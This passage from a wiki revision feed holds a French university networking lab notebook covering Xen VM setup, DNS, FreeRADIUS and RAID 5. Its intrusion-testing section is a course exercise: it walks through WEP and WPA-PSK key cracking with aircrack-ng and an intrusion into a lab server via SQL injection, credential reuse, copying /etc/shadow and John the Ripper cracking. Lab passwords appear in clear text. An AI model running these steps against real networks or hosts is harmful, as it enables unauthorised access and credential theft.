ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Sécurisation des données (RAID 5) =&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
= Chiffrement des données =&lt;br /&gt;
&lt;br /&gt;
a&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57678</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57678"/>
				<updated>2022-01-10T15:47:34Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Gestion des certificats */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSh ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Sécurisation des données (RAID 5) =&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
= Chiffrement des données =&lt;br /&gt;
&lt;br /&gt;
a&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2021/2022&amp;diff=56788</id>
		<title>TP sysres IMA5sc 2021/2022</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2021/2022&amp;diff=56788"/>
				<updated>2021-11-30T15:00:47Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Plan d'adressage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G1 | Cahier n°1]]&lt;br /&gt;
| Andrei Florea / Julien Delabre&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G2 | Cahier n°2]]&lt;br /&gt;
| Robin Lasserye / Aviran Tetia &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G3 | Cahier n°3]]&lt;br /&gt;
| Axel Guillaume&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G4 | Cahier n°4]]&lt;br /&gt;
| Selim Raphael&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G5 | Cahier n°5]]&lt;br /&gt;
| Helene Camille&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G6 | Cahier n°6]]&lt;br /&gt;
| Boris JACQUOT / Louis WADBLED&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G7 | Cahier n°7]]&lt;br /&gt;
